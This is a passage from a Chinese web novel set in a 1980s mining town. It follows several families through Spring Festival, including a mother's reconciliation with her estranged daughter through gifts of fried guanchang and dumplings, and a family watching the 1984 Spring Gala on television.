齐小弟一时有些迟疑,对于回家过年,他并没有那么期待。 “曹师傅,过年店里不用留人?矿上不是 正常上班吗?要是有客人来吃饭怎么办?” 曹全安说:“贺老板说了,就算旧社会的长工也有三天假,咱们平时太累,过年通通放二十天,等过完正月十五再上班。” 听到有二十天的假期,其他人都高兴极了,除了齐小弟。 离家后的这段时间,齐小弟迅速成长起来,不再是那个嚷嚷着要服务员上大肥肉的混不吝了。 他学会看人眼色,学会在适当的场合说适当的话,不再莽莽撞撞地四处乱撞。 这其中尽管有曹全安的调教,但也离不开齐小弟自身的觉悟。 齐家突逢大变,齐大哥和齐大嫂进了劳改农场,齐家红与家里决裂,短短几天,好好的一个家彻底四分五裂。 在这场崩塌中,齐小弟像是被人一砖头砸在脑门上,又像是高度近视的人戴上了眼镜,终于从模糊中看清了自己,也看清了家人。 有些事齐小弟当时并不明白,只凭着直觉行事,像是只初开灵智的小动物,似人非人,有人性也有兽性,一切全凭本能。 一场混沌大梦,他终于醒了过来。 腊月二十九那天,齐小弟磨磨蹭蹭打扫完饭店,在曹全安要关门落锁的催促下,才不情不愿地背上他小的可怜背包,坐上了回矿务局的公交车。 回齐家的时候,天色将黑,大屋的窗户隐约向外透出了光。 听到外面门响,齐老太披着衣裳迎了上来。 “三儿啊,你可算是回来了!” 她紧紧握住齐小弟的手,一双枯树般的老手使劲摩挲着他。 “咋样,坐车累不累?吃饭了没?没吃饭妈去给你做!” 齐小弟抽回手,勉强笑了笑:“没事儿,妈,我不饿。爸呢?” “你爸在炕上躺着呢。” 齐老太拉着他的手,把他带进大屋。 “外边冷,快进来暖暖,妈给你倒杯热水。” 看到齐小弟进门,靠在炕被上的齐老头坐直了些,嗡声道:“回来了?” 齐小弟说:“嗯,回来了。” 只有几句简单的话,父子之间再无他话,尴尬地陷入沉默。 齐老头清了清嗓子,先开口问:“你们饭店过年放几天假?你能在家里待几天?” 齐小弟答了,齐老头习惯性地苛责:“怎么放这么长时间的假?你们那饭店是不是要黄了?年后还开不开门?不开门你要去哪儿上班?” 齐小弟没回答,坐在炕沿,接过齐老太端过来的热水,问道:“妈,我晚上睡哪儿?” 齐老太忙说:“就睡大屋,咱们都睡大屋。” 齐家有三间屋子,小屋冬冷夏热,棚屋不挡风,只有大屋是最适宜居住的。 自从齐大哥齐大嫂被抓进监狱后,大屋就空了下来,破了的窗户上糊了两层报纸。 齐老头先搬进了大屋,嫌一个人住冷清,半夜没人给他端水,又让齐老太带着两个孙子住了进来。 入秋后,齐小弟托人买了两块玻璃,将大屋的窗户补上,老两口这才不用拿报纸糊窗户。 听到要和齐老头睡一间,齐小弟起身:“我去睡小屋。” 齐老太连忙去拦:“小屋没烧炕,冷得很呢!” 齐小弟绕开了齐老太:“没事,我不怕冷。” 他走得坚决,齐老太没能拦住,叹了口气,追上去说:“妈帮你烧炕!” 被丢下的齐老头独自坐在炕上,想生气,又不敢生气。 自从齐小弟靠自己找到工作,每个月挣着工资,自己能养活自己,齐老头在他面前就越来越气短。 想骂的时候不敢骂,想打的时候也不是抬手就打了。 他像是忽然意识到自己的衰老,反而变得和颜悦色起来。 但齐小弟却没有接受这个“慈父”,相反的是,他日益远离齐家,像是风筝,那根连着他与齐家的线要断不断。 齐老头没办法,他以前是颐指气使的大家长,现在也不过只是一个固执而无能的老头。 齐老太追着齐小弟进了小屋,一边帮他铺床,一边小心翼翼地问: “你姐今年回来过年吗?” 她知道齐小弟上班的饭店是贺家人开的,他和齐家红肯定有联系,只是不告诉家里。 “你明天去看看你姐,问问她,过年还回娘家吗?你爸改了,他不会再老糊涂了……” 听到齐老太的话,齐小弟有点心酸,什么时候开始,母亲会用这种祈求的语气来说话呢? “妈,我不知道姐回不回来,咱家也别去打扰她了,让她安安分分过日子吧。” 齐老太唉声叹气:“一家人哪有这么大的仇呢,说到底,你姐也是咱们老齐家的闺女,她是我亲生的,能一辈子都不见爹妈吗?” 齐小弟背对着齐老太,声音听起来有些陌生。 “妈,家里要是真当我姐是自家人,当初为什么大哥大嫂会做那样的事呢?” 齐老太哑口无言,半响才挤出一句:“你姐也没吃亏啊,这不是都把你大哥大嫂告到公安了吗?而且她也和贺家老大结婚了,说到底,这该报的仇都报了,就不能把这事儿过去吗?” 齐小弟转过身,脸上没有一丝笑容。 “妈,我是没脸再去见姐的。我以前不懂事,对姐不好,仗着她和贺老大处对象,还去他们家的饭店白吃白喝……我现在想想都后悔,恨不能扇自己几个大耳刮子。” “妈,你要是真想姐,真为她好的话,就别去见她了。” 齐老太呆住了,嘴唇哆嗦着说不出话来。 良久,她带着哭音说了一句:“可我是她妈啊……” 齐小弟不再说话。 冬夜的寒冷像是浸透了整间屋子,让人自内而外地感到彻骨的冰冷。 齐家愁云惨淡,而另一边,冯家却提前过上了年。 “爸可真厉害!这么肥的一头羊,咱家得吃到什么时候啊!” 冯解放的大儿媳笑得像一朵花,对着冯解放不住地吹捧。 “要不怎么说‘家有一老如有一宝’呢,我和老大两个人过节收到的东西,加一块儿都没有爸一个人拿得多。这又是整羊又是整鸡的,咱们家可要过个肥年呢!” 冯老太也在笑。 “你们爸是一辈子有本事,老了老了,还有饭店请他去做大师傅。都说嫁了厨子不愁吃喝,我这一辈子跟着你们爸,嘴上是没受一点委屈。” 儿孙都围在冯解放身边,这个说爸厉害,那个说爸就是牛,夸得冯解放满脸红光,笑得合不拢嘴。 “是贺老板豪爽,让我这个老头子有用武之地。” 大儿媳却说:“我看分明是贺老板运气好,才能找到爸这样的好厨师。要是她不好好对爸,随便爸跳槽去哪个饭店,那老板不都得捧着啊。” 冯解放收了笑,严肃道:“你这话说得不对,要不是贺老板给我机会,我就是个退休的糟老头子,咱们得知道感恩,以后这种话不许再说了!” 见他语气很重,大儿媳急忙笑道:“爸说的是,瞧我这张嘴,一高兴就没个把门 的……” 冯家几个小的互相对视一眼,背过身偷偷笑成一团。 嘿,这位自从嫁进门就颐指气使的大嫂,原来也会好声好气地说话啊。 冯解放咳了两声,几个小的急忙止住了笑。 老小最受宠,打小就不怕冯解放,黏上来撒娇:“爸,要不咱今晚吃羊肉吧?” 冯解放嘴上斥责,眼中带笑。 “数你嘴馋!行了,别在我身上黏糊了,我给你们露一手,今天就来个羊肉三吃!” 冯家的孩子们都欢呼起来,大儿媳脸上也忍不住露出一丝笑。 怎么觉着,现在的日子过起来好像也还不错啊…… 在不同的地方,不同的家庭,因着这一份意外的过年礼,幸福的气氛悄悄蔓延开来。 第112章 第112章大年三十吃饺子 从分矿回了家,曹全安大爷似的坐在炕上,指使他媳妇倒洗脚水。 曹全安媳妇把水盆端过来,又帮他把鞋袜脱了,直伺候得这位大爷泡上了脚才算完。 “他爸,你这一年也够辛苦的,过年这几天就在家好好歇歇吧。” 听了媳妇的话,曹全安深以为然。 “可不是嘛,现在店里连个倒班的都没有,就我一个厨子,每天睁眼就是干活,真是累坏我这一把老骨头了。” 曹全安媳妇说:“辛苦归辛苦,你这几个月挣的钱顶以前一年的工资,这私人单位虽然比不上公家单位,但舍得给钱,还舍得发福利。你看这发的鸡个头有多大,咱们全家一顿都吃不完。” 曹全安豪迈地抬起下巴:“吃,使劲吃,不就是一只鸡嘛,别跟以前似的抠抠搜搜,放开了吃!” 曹全安媳妇听了直笑,边笑边摆手。 “那可不行,别把孩子们胃口吃大了,过完年吃不上肉了,又要和我闹腾。咱们这小门小户的,那点积蓄都是从牙缝里省出来的。” 曹全安却说:“钱是王八蛋,花了咱再挣!从嘴上抠有什么意思,钱是挣出来的,不是省出来的。年后让老二跟我上分矿,我来教他做菜,把这小子也培养成厨师,将来就在贺老板手底下当厨师长。家里多几个上班挣钱的,比什么都强!” 听了曹全安的话,他媳妇是既高兴又心疼。 “老二打小就身子骨弱,哪干得了厨房的活儿。要我说,还是找找关系,让他去公家单位吧。” 曹全安不客气地说:“弱什么弱,都是你惯的!老二不和我学厨,将来我这一身厨艺都传给谁?” 曹全安媳妇忙道:“不是还有老大嘛。” 和冯解放家里情况一样,曹家长子也是接了曹全安的班,在国企食堂上班。 对于媳妇的话,曹全安嗤之以鼻。 “老大在食堂也就挣个死工资,吃不饱也饿不死,但老子给他安排了工作,这辈子就算对得起他了。再说了,老大在食堂也用不着好手艺,教他也是浪费。” 曹全安媳妇还想再说些什么,曹全安不耐烦道: “行了,别说了!女人家头发长见识短,你懂什么!” 曹全安媳妇拿眼睛瞥他,嘀咕道:“那贺老板不也是女的吗……” 曹全安只当没听到。 一般二般的女人能和贺老板相提并论吗? 就贺老板那心黑的,把人卖了,那人还得帮她数钱呢——就比如说他老曹,被贺老板发配到分矿农村,天天泡在后厨,连个休息日也没有,还不是成天都乐呵呵的吗? 想到这里,曹全安不由为自己叹了口气。 “水凉了,再给我添点儿热水。” 尽管心里不痛快,但曹全安媳妇还是照他的吩咐倒了热水进去。 说起来,虽然以前曹全安媳妇在他面前显得弱势,但也不像现在似的,连话都说不上。 这一方面是因为曹老头现在能挣钱,一人养全家;另一方面,就是之前学徒的事儿。 当时,曹全安媳妇让曹全安把他小舅子的小舅子外甥送进饭店当学徒,曹全安拒绝得很彻底,话里话外一丝余地都没留。 他以为这事儿就算完了,然而,曹全安媳妇想了个妙招。 她表面上在娘家大包大揽,说学徒面试是走过场,让远房外甥大胆地去饭店;实则打算将面试不通过的锅甩到贺明珠头上。 到时候就算事儿没办成,娘家也不得罪——不是曹师傅不给力,全是贺老板太可恶! 没想到,远房外甥把她的话当了真,在面试现场耀武扬威,号称自己有关系,再加上一个同样自称内定的冯家亲戚,两个人把全场候选者的仇恨拉得稳稳的。 曹全安当时快恨死了。 谁说这是他亲戚!谁说他同意让亲戚走后门进饭店啊! 要不是年纪大了打不过,曹全安都想亲自下场给这蠢货亲戚收拾一顿。 幸好贺明珠相信他,现场还了他清白,要不然曹全安真是要被冤死了。 因为这事儿,曹全安好一段时间对着媳妇吹眉瞪眼,看着就来气。 曹全安媳妇也自知理亏,天天低眉顺眼的,让曹老头有火都没地方发。 她在娘家也丢了个大人,爹妈兄弟怨她事没办成,她回娘家时,没一个人待见的。 特别是那个托她办事的弟弟,是家里怨气最大的。 作为小舅子,他亲姐夫曹全安没人情,一点小忙都不肯帮;而作为姐夫,他小舅子怨他,这点事都做不到,怎么好意思大包大揽的。 因此,弟弟见了曹全安媳妇就拉长了脸,不快道: “姐,你办不了就说办不了,骗我们能办是什么意思?现在好了,我在岳家一点脸面都没了,我媳妇也没脸回娘家,你怎么还好意思回来?!” 曹全安媳妇气得直跺脚:“要不是为了你,谁管你小舅子的外甥,什么外八路亲戚的事儿也往我身上揽!现在好了,你姐夫恼我,娘家也怨我,我两头不是人,活着还有什么意思!” 弟弟不吃她这一套,冷声道:“随你便,反正以后你少回来,你嫁了曹家就是曹家的人,别没事总回娘家。” 曹全安媳妇气得扭头就走,好一段时间没再去娘家。 对此,曹家的孩子们却乐见其成。 “咱妈可算和那边断了,要是再由着她,咱家都得被她搬到舅舅那儿去。” “我看不一定能断,家里的东西你们可得看好了,特别是爸过年发的那一箱菜和肉,咱家都不够吃,凭什么送那边去!” “放心吧,妈不敢的,爸是真生气了,她要是再贴补舅舅,爸指不定能干出什么呢。” “那可太好了,我早就看那边不顺眼,今年总算能过个舒心年!” 但显然,曹全安媳妇有不同的想法。 大年三十,家家户户都忙着炖肉炸丸子,香味飘得满街满巷,让人闻着就馋。 曹全安在家里时摆足了架子,十指不沾阳春水,非得等大儿子把肉切好、配料备全,锅放到了灶台上,才慢悠悠地下厨。 他炒上几下,撒完调料,就把看火的事扔给大儿子,自己慢慢悠悠回屋听收音机。 曹家的孩子们都知道曹全安的德行,也都习惯了厨师在家不做饭,几个人凑到炕上,热热闹闹地和面剁馅儿包饺子。 家里人都忙着,趁无人注意,曹全安媳妇拿了块干净的包袱皮,从窗沿取下冻好的整鸡,又拿了条羊腿,用包袱裹好了,悄悄地就要出门。 二儿子眼尖,隔着窗户就喊:“妈,快吃饭了,你这是要去哪儿?” 曹全安媳妇不自然地将包袱往身后藏了藏,强笑道: “我出去买菜,你们先吃,别管我……” 二儿子皱了皱鼻子:“大年三十哪有卖菜的?再说你怎么买菜不带篮子,包袱里放了什么?” 曹全安媳妇怕招来其他人的主意,摆了摆手,不再说话,开门就要走。 听到声音的大儿子从厨房出来,从他的角度,正好能看到没被包袱裹住的半截羊腿。 他无奈道:“妈,你这又是要干什么啊?” 面对这个大儿子,曹全安媳妇心情放松了些。 “行了,你别管,你姥姥家过年没吃没喝的,我送点东西过去。” 大儿子是个老实头,尽管对母亲的行为很不满,嘴张了张,最后也没说出什么。 但二儿子却不同,这小子奸猾,见势不对,立刻就喊: “妈!你怎么又把咱家东西往舅舅家送啊!那点肉咱们自己家吃都不够!” 这一嗓门把全家人的注意都吸引过来。 二女儿跳下炕,手上都是面粉,站在门口气道: “妈,你怎么老这样啊!舅舅家这么对咱们家,你还要往过去送东西,我不同意!你不许送!” 大女儿也说:“妈,别去了,马上吃饭了。” 几个孩子都反对,曹全安媳妇又羞又恼,口不择言道: “你们几个没良心的,忘了小时候姥姥和舅 舅对你们多好吗?一点吃的都不舍得,我看等我老了,你们谁也靠不上!” 二儿子嘀咕一声:“好什么好,成天占我们家便宜,这种舅舅还不如没有……” 曹全安媳妇怒道:“你——” 话没说完,曹全安出来了。 “行了!都闭嘴!” 他瞪着眼睛,威严道:“大过年的,谁也不许吵架!都给我回来!谁要是不听,现在就滚出这个家,老子以后不养了!” 几个孩子陆陆续续回去,曹全安媳妇站在原地,想走又不敢走。 最后还是大儿子上前,把包袱拿了过来。 “行了,妈,大过年的,别闹腾了,咱都高兴点儿吧。” 曹全安媳妇气得直掉眼泪。 “不就是点肉吗,看你们一个个的,好像要吃了我,我真是养了一群白眼狼……” 大女儿也走了过来,挽着她的胳膊,带着她回屋。 “妈,回吧,饺子下锅了,一会儿就熟,咱们一起吃饺子啊。” 一锅清汤,雪白圆胖的饺子浮浮沉沉。 不同的灶台,不同的人家,北方的大年三十里,总离不开这一顿饺子。 贺家的饺子也下了锅,贺小弟趴在灶台旁不肯走,眼巴巴地看着锅里几个格外丑的饺子 “我要吃我包的饺子~” 贺明国轻轻踢他的屁股,“行了,等下煮好了就捞给你,瞧你这馋样儿。” 贺小弟很严肃地说:“这不是馋,是对食物的尊重!” 贺明国笑道:“又是和你姐学的?屁大点的,还来上尊重了。行了,放心吧,肯定不会漏了你包的饺子,都给你盛碗里。” 贺小弟这才满意点头,蹦跶地出了厨房。 “二哥,我要玩炮,给我根烟!” 贺明军瞥了一旁的贺明珠一眼,义正辞严地说:“瞎说什么,我哪有烟。” 贺明珠似笑非笑地看他:“真没烟啊?” 贺明军正直地说:“没了,你一说我就戒了,现在一根都没有。” 贺小弟插了句嘴:“可我之前看到你跟和平哥一起抽烟呢。” 贺明军捂住他的嘴,顺手抄起这小子就往外跑。 “你怎么什么都往外说!” 他手上力气大,搂着贺小弟来了个三百六十度大回环,贺小弟兴奋得直尖叫。 “再来一次,再来一次!” 小狗在两人脚下欢快地蹦跶,时不时也嚎上两句。 一派热闹气氛中,院门传来几声轻响,断断续续,透露出来者的迟疑和不自信。 齐家红放下手头正在织的毛裤,扬声道:“来了!” 她打开门,当看清来人后,一时间有些愣怔。 “……妈?你,你怎么来了?” 门外是齐老太,穿着一身旧棉袄,一块花色黯淡的大围巾裹住了头脸。 “闺女,妈想你,妈来看看你。” 齐家红怔在原地,面对几个月未见的母亲,她一时间手足无措,不知该做什么。 “我挺好的……妈,你来找我,是……是家里,出事了?” 她挡在门口,没说让齐老太进来坐坐,也没有亲热地叙母女情,只有僵硬的表情,透露出她心中的不平静。 对着这个家中亏欠的大女儿,齐老太卑微而讨好挤出一脸笑。 “没事,家里挺好的,你爸和你弟都好,都好……” 齐老太想摸摸齐家红的手,但两只手都端着东西,她这才想起来贺家的初衷。 “妈做了灌肠,是你最喜欢的,你拿回去吃……” 齐老太将端着的小锅往齐家红手上递,絮絮叨叨地说:“大过年的,妈拿不出什么好东西,你别嫌弃,这灌肠也能当肉吃……” 齐家红被迫接过小锅,沉甸甸的份量,压在她的手上,也压在她的心上。 “妈,我不要……你带回去吧……” 齐老太腾出了手,犹豫了下,才伸手去摩挲齐家红的手背。 一个是苍老枯黄,一个是白皙细腻,当两者叠在一起时,像是将时间具现化。 “你别嫌,也别气,妈就这点东西,拿不出手也得拿……你是妈的闺女,别恨妈。” 齐家红原本还想接着拒绝,可当听到齐老太的最后一句话,她怔怔定住。 “妈老了,脑子跟不上你们年轻人,心里都是老观念,你怨我也是应该的。可妈活不了多少年了,你……你别一直怨我……” 齐家红的眼泪不知什么时候掉了下来。 对于这句像道歉又不像道歉的话,她一句话都说不出,也不知要说什么。 怨吗? 不怨吗? 似乎父母子女之间总有说不清的恩怨,有时是爱,有时是恨,像蛛丝一样密密麻麻地缠绕,又像蛛丝一样脆弱易断,掰不清,也扯不明。 最终,齐家红也只能说一句:“妈……” 齐老太抬起手背,擦了把眼角,轻轻将齐家红往门里推了推。 “行了,大过年的,不说这些了。天气冷,你赶紧回去吧,我也回了,你爹还等我回去做饭呢……” 说罢,齐老太匆匆就走,走路时重心在前,小步碎走,是老年人特有的步伐。 齐家红站在门口,看着齐老太越走越远,张了张嘴,只低低说出一句: “妈……” 她的声音被寒风撕碎,散落在这阖家欢喜的日子里。 见齐家红在门口和人说话,好一会儿都没动静,贺明国从厨房探出身来,扬声问道: “谁来了啊?” 齐家红转过身,手上捧着一口小锅。 “是……是我妈。” 贺明国有些惊讶,想要询问,但当他看到齐家红脸上难过而纠结的表情时,贴心地什么都没问。 他接过锅,用力搂了搂齐家红的肩膀,附身在头发上亲了一下。 “行了,饺子快熟了,准备吃饭吧。” 齐家红走了两步,忽然想到什么,转头说:“锅里是灌肠,就……” 她一时间卡了壳,不知要说“就放哪儿别管”,还是说“端上来吃吧”。 贺明国已经替她做出了决定。 “灌肠可是好东西,老四最爱吃了,等下要是让他看见,一晚上就能把这一锅都吃干净。” 齐家红勉强笑了笑:“行,那就让家里人都尝一尝。” 饺子端上了桌,与之一同上桌的,还有一盘炸灌肠。 灌肠是用白薯淀粉做的,和成面团后上笼蒸熟,等晾凉后旋成菱形薄片,下锅油煎,煎成两面焦黄,蘸着蒜汁吃。 虽然是纯淀粉做的,但因为淀粉片口感扎实,被油煎透后,吃起来仿佛有肉的口感,外焦里嫩,满口都是油香。 再加上微辣解腻的蒜汁,两面油煎的炸灌肠吃起来一点都不腻,反而越吃越香。 炸灌肠虽然是道穷人菜,但做起来还挺费工夫,又蒸又炸的,为了防止灌肠炸过火候,还要在灶前看着,时刻翻面。 而且做不好的炸灌肠吃起来就是粉面坨子,丝毫没有肉的口感,脆而不酥,只能将就吃。 因此,一般人家里很少做炸灌肠,费事儿又费油。 也就是齐老太了,想给闺女送点吃食,又实在没有能拿得出手的食材,只好将一腔母爱都灌注在小小的炸灌肠上。 怕炸灌肠凉了不好吃,她一路将小锅揣在怀中,用体温暖着,直到送到齐家红手上。 贺小弟见了炸灌肠就欢呼。 “我要吃这个!我可以吃一大碗!” 齐家红给贺小弟夹了一大筷子:“慢慢吃,不着急,锅里还有呢。” 贺小弟“啊呜”一口叼住炸灌肠,咯吱咯吱嚼着吃,一张小脸上都是快乐。 这年头孩子们能吃到的零食少,油炸食物更少,因此,炸灌肠就像是后世的烤肠,让小孩吃了就意犹未尽。 贺小弟快快乐乐地吃完碗里的炸灌肠,抬头注意到齐家红反而没吃,他笨拙地用筷子夹起炸灌肠,同样给齐家红夹过去。 “大嫂,你也吃!” 齐 家红顿了顿,在贺小弟期待的眼神中,她才说:“好,我也吃。” 她夹起一片炸灌肠,慢慢送入口中,轻轻咬下。 有点凉,但味道还是熟悉的味道。 浓郁的蒜汁是齐老太在捣蒜前加了一点盐,捣碎后用凉水激发蒜香。 灌肠吃着有些硬,里面还有未完全融化的淀粉,吃起来很有嚼劲。 依旧是好吃,但又和记忆中不太相同。 以前齐家红是等在灶台旁,齐老太煎好一块炸灌肠,她也不嫌烫,两根手指加起来,着急忙慌地吹上几口凉气,就忙不迭地往嘴里塞。 刚煎好的炸灌肠吃着还烫嘴,可那股猪油煎过的浓郁肉香却让人一边倒吸冷气,一边大嚼特嚼。 那时候,齐老太总笑着骂她:“急什么,妈在这儿,没人和你抢,慢点吃!” 想到这里,齐家红在不知不觉间已经泪流满面。 她手上一暖,是贺明国握住了她的手。 贺小弟跳下凳子,噔噔噔走到她旁边,急道:“大嫂,你别哭,谁欺负你了,我去打他!” 齐家红哽咽着笑:“我、我没事,我就是想起来以前在家……” 说到这里,她已经有些泣不成声。 泪眼朦胧中,一块白色手帕递了过来。 齐家红抬眼看去,是贺明珠。 “大嫂,有时候原谅不是因为软弱,而是要放过自己。” ……放过自己吗? 另一边,齐老太急匆匆地赶回了家。 大年三十,她不在家做饭,老头子还不知道要怎么抱怨呢! 齐老太忐忑不安地进了门,却没听到意料中的斥责,相反的是,厨房烟囱升起了袅袅炊烟。 她疑惑地走进去,却见齐小弟正在灶台前忙活。 见到齐老太,齐小弟有点尴尬,在围裙上抹了抹手。 “妈,你回来了啊……” 齐老太惊讶又欣慰:“好孩子,你长大了。” 听到齐老太的夸奖,齐小弟反而更不自在了。 他以前一直是饭来张口的主儿,从来不进厨房,全家都知道指望不了这小子做饭,能烧个水、添个煤就算不错了。 如今在分矿饭店锻炼久了,他竟然也学会了做饭,做的还相当不错,有时候曹全安懒得动手,就指挥齐小弟去干活。 原本做熟了的事,可当着家人的面,齐小弟却有些不好意思。 似乎承认长大这件事,本身就有些让人难为情。 特别是对于从小娇惯的齐小弟来说。 “妈,你忙吧,我先出去了,锅里的菜一会儿就好了……” 齐小弟落荒而逃,齐老太脸上露出了笑容。 “这孩子……” 她笑着摇摇头,分别掀开灶台上的两个锅盖,见一个炖着鸡,一个炖着菜,在小煤炉上,还用蒸锅热着馒头。 吃饭时,齐家的饭桌上是一贯的沉寂无声。 没人说话,齐老太慢慢吃着饭,想起今天见到的齐家红。 她穿的是新衣裳,人胖了些,脸蛋圆润,泛着幸福的红晕,身上还散发着面脂的香味,一看就过得很好。 齐老太有些苦涩地为她感到高兴。 离开了齐家,闺女反而过得更好…… 过得好就行…… 吃完了饭,齐老太收拾碗筷,院门轻响。 她愣了愣,以齐家现在的光景,如今谁还会来家里拜年呢? 齐老太颠着小碎步走过去开门,门开后,她愣住了。 “闺女啊……” 齐家红站在门外,身后是贺明国。 她咬着嘴唇,像是好不容易下定决心才过来,却无法更进一步,艰难地开不了口。 齐老太高兴极了,也说不出话来,只望着齐家红,脸上有笑,眼中有泪。 贺明国轻声提醒:“家红……” 齐家红终于有动作了,却是将手上端着的小锅往前一递,塞到齐老太手中。 “妈,里面是我们包的饺子……您,您尝尝吧。” 说完这一句,齐家红像是卸下重负,松了一口气。 “妈,我走了。” 她转身离开,甚至没有踏入齐家的门槛。 贺明国匆匆去追,临别前对齐老太笑着说:“岳母,替我向岳父和家乐问好,我们先回去了,过两天来给您拜年。” 齐老太端着一锅饺子,说不出话来,看着两个年轻人的背影消失在夜色中。 “妈,谁来了?” 齐小弟走过来,只见门外空空如也,没有一个人。 “怎么没人啊?”他嘟囔一句。 当看清齐老太的脸,齐小弟惊道:“妈,你怎么了?” 齐老太哆嗦着嘴唇,眼泪乱糟糟地掉。 然而,她却在笑。 “你姐,你姐……” 远处传来噼里啪啦的鞭炮声,迸射的火光照亮了夜空。 爆竹声中一岁除,旧的一年结束了。 第113章 第113章欢欢喜喜过大年 “看电视啦!” 吃过晚饭,贺小弟欢呼着搬着小板凳坐到电视机前,连声地喊贺明军。 “二哥!二哥!开电视!” 贺明军的声音从门外由远及近地传来。 “来了,急什么,晚会还没开始呢!” 贺小弟在板凳上扭来扭曲,像凳子上长了刺,怎么也坐不安稳。 “快八点,马上就到时间啦!快点,快点!” 贺明军一手掀开棉门帘,另一只手端着一盘切好的心里美萝卜片。 “又不是第一次看春节联欢晚会,瞧把你给急的。” 贺小弟很认真地说:“不一样,去年我们家没有电视机!” “老四,把板凳往后挪一挪,你坐的离电视太近了。” 贺明珠也从外面进来,端着一大盘的花生和瓜子,还有一袋桔子 亲姐开口,贺小弟不情不愿地起身,把凳子往后搬了搬,距离大概有十厘米。 贺明珠提高声音:“老四!” 贺小弟噘着小嘴:“我知道啦,马上搬……” 他踢踢踏踏地把凳子搬到离电视机一米远的位置,这是贺明珠给他设置的“观影区”。 唉,电视机本来就很小了,离得这么远,屏幕上的人都看不清楚…… 可贺明珠发话,他又不敢不听,只好将小嘴噘到鼻子上,小小地表达自己的不满。 贺明军摆好炕桌,放下心里美,路过贺小弟时,顺脚轻踢一下凳子。 “啧,臭小子还有脾气呢。” 贺小弟一扭头:“哼!” 贺明珠将花生瓜子和桔子一股脑堆到炕桌上,看看墙上挂着的表,说:“差不多了,再有五分钟晚会该开始了。” 电视机屏幕上闪过雪花点,传出滋啦滋啦的信号不良的声音。 贺明军出门,搬了个梯子,爬到屋顶调整了一下卫星锅的位置,扬声问屋里: “怎么样,有信号吗?” 贺小弟抢答:“有了!” 贺明军下了梯子,也没收,准备等信号不良的时候再来调整。 他回屋,电视机屏幕上正好跳出粉底白字的画面,上面写着“一九八四年春节联欢晚会”,伴随着欢乐喜庆的音乐,一男一女两个主持人出现在镜头中。 “哟,是赵忠祥!” 贺明军站在炉子边烤火,刚刚调整卫星锅时没带手套,冻得十指冰凉。 “老大他们去哪儿了?怎么不来看电视?” 贺明珠说:“去给大嫂娘家送饺子了,估计一会儿就回来。” 贺明军闻言“啧”了一声。 “和齐家还有什么好说的,还送饺子,美得他们。” 贺明珠笑了笑:“别人暂且不说,老娘还是要管一管的。再说了,大嫂不是个心狠的人,大过年的,让她也松快点。” 听了贺明珠的话,贺明军没再说什么,只是在心里暗想,他将来才不要找这种麻烦的岳家。 电视机里传出喜庆的歌曲,贺小弟的脖子越伸越长,恨不能一头扎进去。 贺明军抬起长腿,用腿侧把他往外推了推。 “还看?脑袋都要伸进电视了。” 说着话,贺明军一屁股坐到炕沿,从盘子里摸了片心里美,咔哧咔哧两口吃完,接着又拿了一片。 萝卜外青里紫,咬着嘎嘣脆,吃起来水润清甜,败火又通气。 北方的冬天干燥寒冷,屋里烧着炭,炭灰洋洋洒洒,一天下来,鼻腔里都是黑的。 此时吃上一片冰冰凉的心里美,就像往火上盖了一块冰,立时将通身的内躁都消解了。 贺明军虽然年纪轻轻就走南闯北,也是独当一面的人,可到底年纪轻,头一次在电视上看春晚,看着看着就投入进去,笑得前仰后合。 “宇宙牌香烟!哈哈哈,还有这个牌子的烟啊!” 电视机正演到马季的《宇宙牌香烟》,相声大师出手没有凡品,即使是看过这个相声的贺明珠也被逗得直乐。 “二哥,二哥,你以后别买飞马烟了,要买宇宙牌的!有一百零 八将的那种!” 贺小弟年纪小,分不清真假,只当电视上说的都是真的,直嚷嚷着要贺明军去买宇宙牌香烟、攒一百零八将的画片。 贺明军逗弟弟:“行,我给你钱,你去找小卖部老板说买宇宙牌香烟。” 贺小弟还真兴冲冲地答应了:“哎!” 贺明珠清清嗓子,咳了两声:“抽烟呢?还是飞马牌的?” 贺明军这才意识到不对,看得太乐呵了,把实话给秃噜出去了。 自从贺明珠发现他有烟瘾,就三令五申让他戒烟。 她原话是“咱这儿采煤污染重,人们普遍肺不好,去医院看病的一半是看肺病。再抽烟的话属于雪上加霜,趁你现在瘾不重,早点戒了吧。” 面对妹妹的关心,贺明军不忍拒绝,含糊地说那以后就少抽点。 显然,贺明珠对他的保证不太放心,特意去了一趟三店,嘱咐众人看着他,要是发现他抽烟,就告诉自己。 贺明军:…… 好吧,他确实原本只是嘴上答应,实际没考虑过戒烟。但被贺明珠这么严密监督,还真由不得他不戒了。 “老四胡说呢,什么飞马牌,肯定是他在街上捡到烟盒了。” 贺明军当机立断,把贺小弟扔出去背锅。 贺小弟迷茫:“啊?” 贺明珠似笑非笑地看他,直看得贺明军一阵心虚,连忙转移话题。 “妹,要不咱们饭店也搞个有奖销售吧,来吃饭的就发一张画片,攒够一套的,可以抽一次奖。不过不能送电视机,倒可以把店里的菜都放进去,抽到就送。” 见贺明军连抽奖销售的促销方式都想出来了,贺明珠轻轻抬手,暂且放他一马。 “好主意,年后在三店开展吧。” 贺明军松一口气,听到外面传来敲门声。 “老大没带钥匙?” 他披上棉袄走出去,拉开院门,外面却不是他以为的贺明国,而是邻居刘婶一家。 “明军,过年好啊!你们家电视是不是在播春晚?听收音机没意思,我们也想在电视上看一看。” 听到刘婶的话,贺明军爽快答应:“我们家也正看春晚呢,来吧,咱一起看。” 刘婶一家进了门,闹哄哄地和贺明珠、贺小弟打招呼,又往炕桌上放了一堆的干果和糖,还有一把馓子,招呼贺家人都来吃。 刘燕进屋就坐到了贺明珠旁边,两人都忙,很久没坐在一起聊天了。 贺明珠先问:“燕姐,最近怎么样,忙不忙?” 尽管脸上都是被风刮出来的深深浅浅的红色冻痕,手指也粗糙了不少,刘燕满面红光,见人就笑。 “好着呢,我和几个知青朋友一起倒腾衣服,虽然辛苦了点,但挣得不少。明珠,要不是你现在还要上学,真想让你和我们一起干!” 刘婶听到这话,推了刘燕一把。 “瞎说什么呢,人家明珠有自己的店,你们几个人成天摆地摊被街道撵得四处跑,还拉人家入伙,你妈我都听不下去了。” 刘燕这才意识到自己太高兴了,说话没过脑子,连忙对贺明珠说: “瞧瞧我都乐傻了,你就当没听到,来来来,吃馓子,我妈现炸的。” 贺明珠反而提起了兴趣,问道:“你们都在哪儿进货?” 刘燕不藏私,有一说一:“有时候去北京,有时候去上海,这两个城市离得不算太远,坐火车来回只要三四天,一个月能进个三四趟的货。” 贺明珠想了想,说:“燕姐,你下次再去进货的时候,帮我看看那边卖什么罐头,卖多少钱。” 刘燕大包大揽:“成,就包我身上,一准记得清清楚楚!” 